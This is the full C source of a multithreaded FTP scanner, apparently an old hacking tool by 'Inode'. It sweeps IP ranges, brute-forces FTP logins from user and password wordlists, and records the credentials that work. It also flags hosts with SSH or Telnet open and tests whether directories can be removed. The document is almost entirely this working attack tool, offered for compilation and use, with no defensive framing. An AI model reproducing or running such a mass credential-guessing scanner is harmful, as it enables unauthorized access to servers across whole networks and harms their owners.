/* Multi-thread FTP scanner v0.2.5 by Inode This software is a simple multithread scanner for ftp with an integrated dictionary bruteforce. In the password file use the keyword "null" (with quotes) for check null passwords. You can download the latest version at: http://www.wayreth.eu.org Thanks Megat0n for programming support Tested on: Linux Slackware 8.0 (i386) OpenBSD 3.3 (i386) SunOS 5.8 (sparc) Compile: - Linux / OpenBSD gcc -O2 -o ftp_scanner ftp_scanner.c -lpthread - FreeBSD gcc -O2 -o ftp_scanner ftp_scanner.c -pthread - SunOS gcc -O2 -o ftp_scanner ftp_scanner.c -DSOLARIS -lpthread -lxnet Changes 0.2.5 - Added option -C (check if command RMD exist, else can be like a printer and doesn't log it) Changes 0.2.4 - Programmed again connect routines - Rebuild the log file Changes 0.2.3 - Added SSH and Telnet check - Fix SIGPIPE (maybe?) $ver=v0.2.5 $name=ftp_scanner */ #include #include #include #include #include #include #include #include #include #include #include #include #define MAX_THREAD 250 #define DEF_THREAD 30 #define TIMEOUT 5 #define PORT 21 #define PORT_TELNET 23 #define PORT_SSH 22 // Structure struct users_list { char username[100]; struct users_list *next; }; struct password_list { char password[100]; struct password_list *next; }; // Global variables FILE *OUTFILE; int verbose = 0; int drop = 0; int timeout = 0; int banner = 0; int strange = 0; int ssh_telnet = 0; int rm_dir = 0; // Address unsigned long current_ip; unsigned long end_ip; // Mutex variables pthread_mutex_t input_queue; pthread_mutex_t user_list; pthread_mutex_t output_file; // Main lists pointers struct users_list *first_user = NULL; struct password_list *first_pass = NULL; // Functions prototipes void *scan (void *data); void usage (char *argv); void load_users (char *in_file); void load_password (char *in_file); int check_ftp_reply (char *string); void connect_ip (unsigned long ip); int check_user (int sock, char *user, char *pass, char *buffer, int lbuffer); int check_telssh (unsigned long ip); int check_port (unsigned long ip, int port); /* check_user() Check user login and password on an established connection Return Value: -1 - Network error ( connection closed or similar ) 0 - Login success 1 - Unknow ftp reply 2 - Login incorrect 3 - bad sequence */ int check_user (int sock, char *user, char *pass, char *buffer, int lbuffer) { while (1) switch (check_ftp_reply (buffer)) { case 1: memset (buffer, 0, lbuffer); sprintf (buffer, "USER %s", user); if (send (sock, buffer, strlen (buffer), 0) == -1) return -1; memset (buffer, 0, lbuffer); if (recv (sock, buffer, lbuffer, 0) == -1) return -1; break; case 2: if (rm_dir != 0) { memset (buffer, 0, lbuffer); sprintf (buffer, "RMD sarcaxxo"); if (send (sock, buffer, strlen (buffer), 0) == -1) return -1; memset (buffer, 0, lbuffer); if (recv (sock, buffer, lbuffer, 0) == -1) return -1; } else { memset (buffer, 0, lbuffer); sprintf (buffer, "QUIT "); if (send (sock, buffer, strlen (buffer), 0) == -1) return -1; return 0; } break; case 3: return 2; break; case 4: memset (buffer, 0, lbuffer); sprintf (buffer, "PASS %s", pass); if (send (sock, buffer, strlen (buffer), 0) == -1) return -1; memset (buffer, 0, lbuffer); if (recv (sock, buffer, lbuffer, 0) == -1) return -1; break; case 5: return 3; break; case 6: memset (buffer, 0, lbuffer); sprintf (buffer, "QUIT"); if (send (sock, buffer, strlen (buffer), 0) == -1) return -1; return 0; break; case -1: if (strlen (buffer) == 0) return -1; return 1; break; default: return -1; break; } } /* connect_ip() Scan an ip and bruteforce it if ftp is working */ void connect_ip (unsigned long ip) { int sock = 0, ex = 0, ret = 0, ret1 = 0, i = 0; char buffer[1024]; char banner_buffer[1024]; char username[100]; char password[100]; struct users_list *curr_user = first_user; struct password_list *curr_pass = first_pass; struct in_addr t_in; t_in.s_addr = ntohl (ip); signal (SIGPIPE, SIG_IGN); while (ex == 0) { if (verbose != 0) fprintf (stderr, "Connecting to: %s", inet_ntoa (t_in)); sock = check_port (ip, PORT); if (sock == -1) break; if (recv (sock, buffer, sizeof (buffer), 0) < 0) break; if (check_ftp_reply (buffer) != 1) break; else { if (banner == 1) strncpy (banner_buffer, buffer, sizeof (banner_buffer) - 1); while (curr_user != NULL && curr_pass != NULL) { // Get current user and password pthread_mutex_lock (&user_list); strncpy (password, curr_pass->password, sizeof (password) - 1); strncpy (username, curr_user->username, sizeof (username) - 1); pthread_mutex_unlock (&user_list); if (verbose != 0) fprintf (stderr, "Testing USER: %s PASS: %s IP: %s", username, password, inet_ntoa (t_in)); // Check the user ret = check_user (sock, username, password, buffer, sizeof (buffer)); if (verbose == 1) fprintf (stderr, "check_user() return: %d", ret); switch (ret) { case -1: break; case 1: if (strange == 1) { pthread_mutex_lock (&output_file); fprintf (OUTFILE, "the ftp do a strange reply... IP:%s USER:%s PASS:%s REPLY:%s ", inet_ntoa (t_in), username, password, buffer); fflush (OUTFILE); pthread_mutex_unlock (&output_file); } if (verbose == 1) fprintf (stderr, "the ftp do a strange reply... IP:%s USER:%s PASS:%s REPLY:%s", inet_ntoa (t_in), username, password, buffer); break; case 0: ret1 = 0; if (ssh_telnet != 0) ret1 = check_telssh (ip); pthread_mutex_lock (&output_file); fprintf (OUTFILE, "IP: %s", inet_ntoa (t_in)); for (i = strlen (inet_ntoa (t_in)); i < 17; i++) fprintf (OUTFILE, " "); fprintf (OUTFILE, "USER: %s", username); for (i = strlen (username); i < 18; i++) fprintf (OUTFILE, " "); fprintf (OUTFILE, "PASS: %s", password); for (i = strlen (password); i < 18; i++) fprintf (OUTFILE, " "); switch (ret1) { case 23: fprintf (OUTFILE, " Telnet"); break; case 22: fprintf (OUTFILE, " SSH"); break; case 45: fprintf (OUTFILE, " Telnet SSH"); break; default: break; } fprintf (OUTFILE, ""); if (banner == 1) fprintf (OUTFILE, "%s", banner_buffer); fflush (OUTFILE); pthread_mutex_unlock (&output_file); break; case 2: strcpy (buffer, "220 "); break; case 3: break; } if (ret != -1 && ret != 3) { pthread_mutex_lock (&user_list); if (curr_pass->next == NULL && curr_user->next != NULL) { curr_user = curr_user->next; curr_pass = first_pass; } else curr_pass = curr_pass->next; pthread_mutex_unlock (&user_list); } if (ret == -1 || ret == 0 || ret == 3) break; } } close (sock); sock = -1; if ((curr_user->next == NULL && curr_pass == NULL) || (drop == 1 && ret == 0)) ex = 1; else ex = 0; } if (sock != -1) close (sock); } /* main() */ int main (int argc, char **argv) { int i; char *out_file = NULL; char opt; int number_thread = 0; char *hosts = NULL; struct users_list *curr_user = NULL; struct users_list *curr_user_tmp = NULL; struct password_list *curr_pass = NULL; struct password_list *curr_pass_tmp = NULL; unsigned long mask = 0xffffffff; char *maskarg = (char *) NULL; struct in_addr t_in; pthread_t thread_id[MAX_THREAD]; fprintf (stderr, " Multi-thread FTP scanner v0.2.5 by Inode "); // Check arguments while ((opt = getopt (argc, argv, "t:c:h:u:p:o:vdbskC")) != -1) { switch (opt) { case 't': timeout = atoi (optarg); break; case 'c': number_thread = atoi (optarg); break; case 'h': hosts = optarg; break; case 'u': load_users (optarg); break; case 'p': load_password (optarg); break; case 'o': out_file = optarg; break; case 'v': verbose = 1; break; case 'd': drop = 1; break; case 'b': banner = 1; break; case 's': strange = 1; break; case 'k': ssh_telnet = 1; break; case 'C': rm_dir = 1; break; default: usage (argv[0]); break; } } if (hosts == NULL) usage (argv[0]); // Set DEFAULT values if (timeout == 0) timeout = TIMEOUT; if (number_thread == 0) number_thread = DEF_THREAD; if (number_thread > MAX_THREAD) { fprintf (stderr, " Max num of thread..."); exit (0); } if (out_file == NULL) { out_file = (char *) strdup ("/dev/stdout"); } if ((OUTFILE = fopen (out_file, "a+")) == NULL) { fprintf (stderr, "Can't open output file"); exit (0); } if (first_user == NULL || first_pass == NULL) { fprintf (stderr, "Please specify user and password files"); exit (0); } if ((maskarg = (char *) strchr (hosts, '/'))) { *maskarg = 0; maskarg++; } if (maskarg) { mask = (mask << ((unsigned long) (32 - atol (maskarg)))); } else { mask = mask; } current_ip = ntohl ((unsigned long) inet_addr (hosts)) & mask; end_ip = current_ip | ~mask; if (verbose > 0) { t_in.s_addr = ntohl (current_ip); fprintf (stderr, "Start IP: %s", inet_ntoa (t_in)); t_in.s_addr = ntohl (end_ip); fprintf (stderr, "End IP: %s", inet_ntoa (t_in)); } // Inizialize mutex variables pthread_mutex_init (&input_queue, NULL); pthread_mutex_init (&user_list, NULL); pthread_mutex_init (&output_file, NULL); // For solaris compatibility #ifdef SOLARIS pthread_setconcurrency (number_thread); #endif signal (SIGPIPE, SIG_IGN); for (i = 0; i < number_thread; i++) if (pthread_create (&thread_id[i], NULL, &scan, NULL) != 0) { i--; fprintf (stderr, "Error in creating thread"); } for (i = 0; i < number_thread; i++) if (pthread_join (thread_id[i], NULL) != 0) { fprintf (stderr, "Error in joining thread"); } fflush (OUTFILE); fclose (OUTFILE); fprintf (stderr, " Scan end..."); // free user lists curr_user = first_user; while (curr_user != NULL) { curr_user_tmp = curr_user->next; free (curr_user); curr_user = curr_user_tmp; } // free password list curr_pass = first_pass; while (curr_pass != NULL) { curr_pass_tmp = curr_pass->next; free (curr_pass); curr_pass = curr_pass_tmp; } return 0; } void usage (char *argv) { fprintf (stderr, " Usage:"); fprintf (stderr, " %s -h -u -p [-t ] [-c ]", argv); fprintf (stderr, " [-o ] [-b] [-d] [-v] [-s] [-k]"); fprintf (stderr, " -h Host/s to scan (ex 192.168.0.0/24)"); fprintf (stderr, " -u Users file"); fprintf (stderr, " -p Password file"); fprintf (stderr, " -t Timeout in seconds (default 5)"); fprintf (stderr, " -c Number of thread (default 20)"); fprintf (stderr, " -o Output file"); fprintf (stderr, " -b Store banner in output file"); fprintf (stderr, " -d Stop bruteforce after a valid user"); fprintf (stderr, " -v Verbose mode"); fprintf (stderr, " -s Store strange ftp reply in output file"); fprintf (stderr, " -k Check SSH and Telnet on host with a valid user"); fprintf (stderr, " -C Check RMDIR command"); fprintf (stderr, ""); exit (0); } void * scan (void *data) { unsigned long ip; while (1) { pthread_mutex_lock (&input_queue); if (current_ip > end_ip) { pthread_mutex_unlock (&input_queue); break; } ip = current_ip; current_ip++; pthread_mutex_unlock (&input_queue); connect_ip (ip); } return NULL; } void load_users (char *in_file) { FILE *in; struct users_list *temp = NULL; struct users_list *temp_1 = NULL; if ((in = fopen (in_file, "rt")) == NULL) { fprintf (stderr, "Can't open input file!"); exit (0); } while (!feof (in)) { temp = malloc (sizeof (struct users_list)); if (temp_1 != NULL) temp_1->next = temp; fscanf (in, "%s ", temp->username); temp->next = NULL; if (first_user == NULL) first_user = temp; temp_1 = temp; }; fclose (in); } /* */ void load_password (char *in_file) { FILE *in; struct password_list *temp = NULL; struct password_list *temp_1 = NULL; if ((in = fopen (in_file, "rt")) == NULL) { fprintf (stderr, "Can't open input file!"); exit (0); } while (!feof (in)) { temp = malloc (sizeof (struct password_list)); if (temp_1 != NULL) temp_1->next = temp; fscanf (in, "%s ", temp->password); if (strcmp (temp->password, "" null "") == 0) strcpy (temp->password, ""); temp->next = NULL; if (first_pass == NULL) first_pass = temp; temp_1 = temp; }; fclose (in); } /* check_ftp_reply() Return Value: 1 - 220 FTP READY 2 - 230 LOGIN OK 3 - 530 login incorrect 3 - 500 command not undestand 4 - 331 insert password 5 - 503 bad sequence or similar 6 - 550 can't remove directory */ int check_ftp_reply (char *string) { if ((char *) strstr (string, "220") == string) return 1; if ((char *) strstr (string, "230") == string) return 2; if ((char *) strstr (string, "530") == string) return 3; if ((char *) strstr (string, "520") == string) return 3; if ((char *) strstr (string, "500") == string) return 3; if ((char *) strstr (string, "501") == string) return 3; if ((char *) strstr (string, "331") == string) return 4; if ((char *) strstr (string, "503") == string) return 5; if ((char *) strstr (string, "221") == string) return 5; if ((char *) strstr (string, "400") == string) return 5; if ((char *) strstr (string, "550") == string) return 6; if ((char *) strstr (string, "421") == string) { string[0] = 0; } return -1; } /* Return Value: 0 Nothing open 23 Telnet Open 22 SSH Open 45 Both Open */ int check_telssh (unsigned long ip) { int sock; int ret = 0; struct in_addr t_in; t_in.s_addr = ntohl (ip); if (verbose != 0) fprintf (stderr, "Connecting to: %s on port: %d", inet_ntoa (t_in), PORT_TELNET); sock = check_port (ip, PORT_TELNET); if (sock > 0) { ret += PORT_TELNET; close (sock); } if (verbose != 0) fprintf (stderr, "Connecting to: %s on port: %d", inet_ntoa (t_in), PORT_SSH); sock = check_port (ip, PORT_SSH); if (sock > 0) { ret += PORT_SSH; close (sock); } return ret; } int check_port (unsigned long ip, int port) { int sock, flags, flags_old, retval, sock_len; struct sockaddr_in sin; struct timeval tv; fd_set rfds; if ((sock = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) { fprintf (stderr, "Can't create socket try to decrase the number of threads..."); perror ("socket"); return -1; } // Set connection varibles sin.sin_family = AF_INET; sin.sin_addr.s_addr = ntohl (ip); sin.sin_port = htons (port); // Set Non Blocking Socket flags_old = fcntl (sock, F_GETFL, 0); flags = flags_old; flags |= O_NONBLOCK; fcntl (sock, F_SETFL, flags); // Connect if (connect (sock, (struct sockaddr *) &sin, sizeof (sin)) == 0) return sock; // Set timeout tv.tv_sec = timeout; tv.tv_usec = 0; FD_ZERO (&rfds); FD_SET (sock, &rfds); retval = select (FD_SETSIZE, NULL, &rfds, NULL, &tv); // if retval < 0 error if (retval < 0) { close (sock); return -1; } sock_len = sizeof (sin); // Check if port closed if (retval) if (getpeername (sock, (struct sockaddr *) &sin, &sock_len) < 0) { close (sock); return -1; } else { fcntl (sock, F_SETFL, flags_old); return sock; } close (sock); return -1; }